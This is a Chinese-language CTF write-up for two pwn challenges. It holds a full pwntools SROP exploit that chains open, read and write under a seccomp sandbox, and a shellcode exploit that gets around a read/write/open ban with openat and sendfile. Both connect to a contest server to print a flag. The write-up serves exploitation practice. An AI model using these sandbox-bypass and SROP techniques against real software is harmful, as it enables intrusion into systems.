simple_srop
先找sigreturn
.text:000000000040128E public rt_sigreturn
.text:000000000040128E rt_sigreturn proc near
.text:000000000040128E ; __unwind {
.text:000000000040128E endbr64
.text:0000000000401292 push rbp
.text:0000000000401293 mov rbp, rsp
.text:0000000000401296 mov rax, 0Fh
.text:000000000040129D syscall ; LINUX - sys_rt_sigreturn
.text:000000000040129F retn
.text:000000000040129F rt_sigreturn endp ; sp-analysis failed
.text:0000000000401296作为sigreturn
000000000040129D 就是syscall
再记录一下main函数的地址 : 0x4012A3
然后就是考虑因为沙箱限制下想办法去获取flag的问题
先查保护
└─$ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
这里的情况就是ban掉了execve
就是只能按o rw开
但是常规o rw打应该是打不穿的
寄存器的值都不好设定
所以srop+o rw的思路就很明确了
考虑到要构造挺长一段虚假的栈帧,所以去找程序最末尾栈地址然后看着随便往后一点写就好了
extern:00000000004040C8 end _start
所以设定FAKE_STACK_BASE = 0x404100
📍地址 | 内容 | 说明
------------------|-------------------------------|-------------------------
0x404100 | 0x0000000000401296 | SIGRETURN_ADDR → open
0x404108 | SigreturnFrame(open) | SYS_open, rdi = &"flag"
... | (frame 占约 248 字节) | rsp = 0x404200
0x404200 | 0x0000000000401296 | SIGRETURN_ADDR → read
0x404208 | SigreturnFrame(read) | SYS_read, rdi = 3
... | (frame 占约 248 字节) | rsp = 0x404300
0x404300 | 0x0000000000401296 | SIGRETURN_ADDR → write
0x404308 | SigreturnFrame(write) | SYS_write, rdi = 1
... | | rsp = 0x404400
0x404400 | 0x00000000004012A3 | MAIN_ADDR(跳回主函数)
🔴0x404408 = FAKE_STACK_BASE + 0x308
| b"flag\x00" | 文件名,提供给 open
每个 SigreturnFrame 是 0xf8 字节(248 字节),因此每一帧用 +0x100 间隔可以避免帧之间重叠
MAIN_ADDR 被放在 0x404400,紧接在第三个 frame 之后
FILENAME_OFFSET = 0x308
这个的原理也直接看上面给出的表图就好,为了避免破坏前面设定的SROP栈帧所以就往后一点写,写0x308是刚刚好,再往前走一点就出不了flag内容了,就算打穿了也只会输出flag字样
难点就是看栈帧逻辑去设定srop+o rw的这个链子
exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
SYS_READ = constants.SYS_read
SYS_OPEN = constants.SYS_open
SYS_WRITE = constants.SYS_write
SIGRETURN_ADDR = 0x401296
SYSCALL_RET_ADDR = 0x40129D
MAIN_ADDR = 0x4012A3
FAKE_STACK_BASE = 0x404100
FILENAME_OFFSET = 0x308 # 文件名存储偏移量
def init_connection():
# return process('./vuln')
return remote('gz.imxbt.cn', 20242)
conn = init_connection()
# ======================
# 第一阶段:设置SROP读取第二阶段payload
# ======================
def build_stage1_payload():
# 创建SROP帧
frame = SigreturnFrame()
frame.rax = SYS_READ # 系统调用号:read
frame.rdi = 0 # 文件描述符:stdin
frame.rsi = FAKE_STACK_BASE # 读取目标地址
frame.rdx = 0x500 # 读取长度
frame.rsp = FAKE_STACK_BASE # 栈指针重置到目标地址
frame.rip = SYSCALL_RET_ADDR
# 构造payload
payload = b'A' * 0x20 # 填充缓冲区
payload += p64(0) # 对齐值
payload += p64(SIGRETURN_ADDR) # 触发SROP
payload += bytes(frame) # SROP帧
return payload
# 发送第一阶段payload
conn.send(build_stage1_payload())
# ======================
# 第二阶段:文件操作链
# ======================
def build_stage2_payload():
payload = b''
payload += p64(SIGRETURN_ADDR)
open_frame = SigreturnFrame()
open_frame.rax = SYS_OPEN
open_frame.rdi = FAKE_STACK_BASE + FILENAME_OFFSET # 文件名地址
open_frame.rsi = 0 # 只读模式
open_frame.rsp = FAKE_STACK_BASE + 0x100 # 设置新栈位置
open_frame.rip = SYSCALL_RET_ADDR
payload += bytes(open_frame)
payload += p64(SIGRETURN_ADDR)
read_frame = SigreturnFrame()
read_frame.rax = SYS_READ
read_frame.rdi = 3 # 文件描述符
read_frame.rsi = FAKE_STACK_BASE + FILENAME_OFFSET # 存储位置
read_frame.rdx = 0x100 # 读取长度
read_frame.rsp = FAKE_STACK_BASE + 0x200 # 设置新栈位置
read_frame.rip = SYSCALL_RET_ADDR
payload += bytes(read_frame)
payload += p64(SIGRETURN_ADDR)
write_frame = SigreturnFrame()
write_frame.rax = SYS_WRITE
write_frame.rdi = 1 # 文件描述符:stdout
write_frame.rsi = FAKE_STACK_BASE + FILENAME_OFFSET # 数据地址
write_frame.rdx = 0x100 # 输出长度
write_frame.rsp = FAKE_STACK_BASE + 0x300 # 设置新栈位置
write_frame.rip = SYSCALL_RET_ADDR
payload += bytes(write_frame)
payload += p64(MAIN_ADDR)
# 填充到文件名位置
payload = payload.ljust(FILENAME_OFFSET, b'\x00')
payload += b'flag\x00' # 文件名
return payload
# 发送第二阶段payload
conn.send(build_stage2_payload())
conn.interactive()
invisible_flag
看到有沙箱
查保护
└─$ seccomp-tools dump ./vuln
show your magic again
da
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013
0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013
0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013
0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
常规的玩o rw的方法都ban掉了
但是又出现了一些新的好用的办法来做
因为openat没被ban掉
所以就可以用其充当open功能
rw则可以依靠sendfile来替代
先给出exp:
from pwn import *
filename = './vuln'
context.arch='amd64'
context.log_level = 'debug'
sh = remote("gz.imxbt.cn",20245)
shellcode = asm(shellcraft.openat(0,'/flag',0))
shellcode += asm(shellcraft.sendfile(1,3,0,0x50))
sh.sendline(shellcode)
sh.interactive()
sendfile:直接在两个文件描述符之间传输数据(内核中操作,无需用户空间缓冲)- 参数
1:目标 fd(stdout,直接输出到终端) - 参数
3:源 fd(上一步打开的/flag) - 参数
0:从文件偏移量 0 开始读取 - 参数
0x50:读取长度(80 字节,足够覆盖 flag)
- 参数
sendfile直接从源 fd 读取数据并写入目标 fd,相当于read+write的组合。- 整个过程在内核中完成,无需用户空间参与,避免了显式调用
read/write。、
再说为什么这样打,进main函数一看,先给了一段7权限的栈空间
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *addr; // [rsp+8h] [rbp-118h]
init();
addr = mmap((void *)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
puts("ERROR");
return 1;
}
else
{
puts("show your magic again");
read(0, addr, 0x200uLL);
sandbox();
((void (*)(void))addr)();
return 0;
}
}
所以写上去就能执行我们的shellcode内容
所以就能直接拿到flag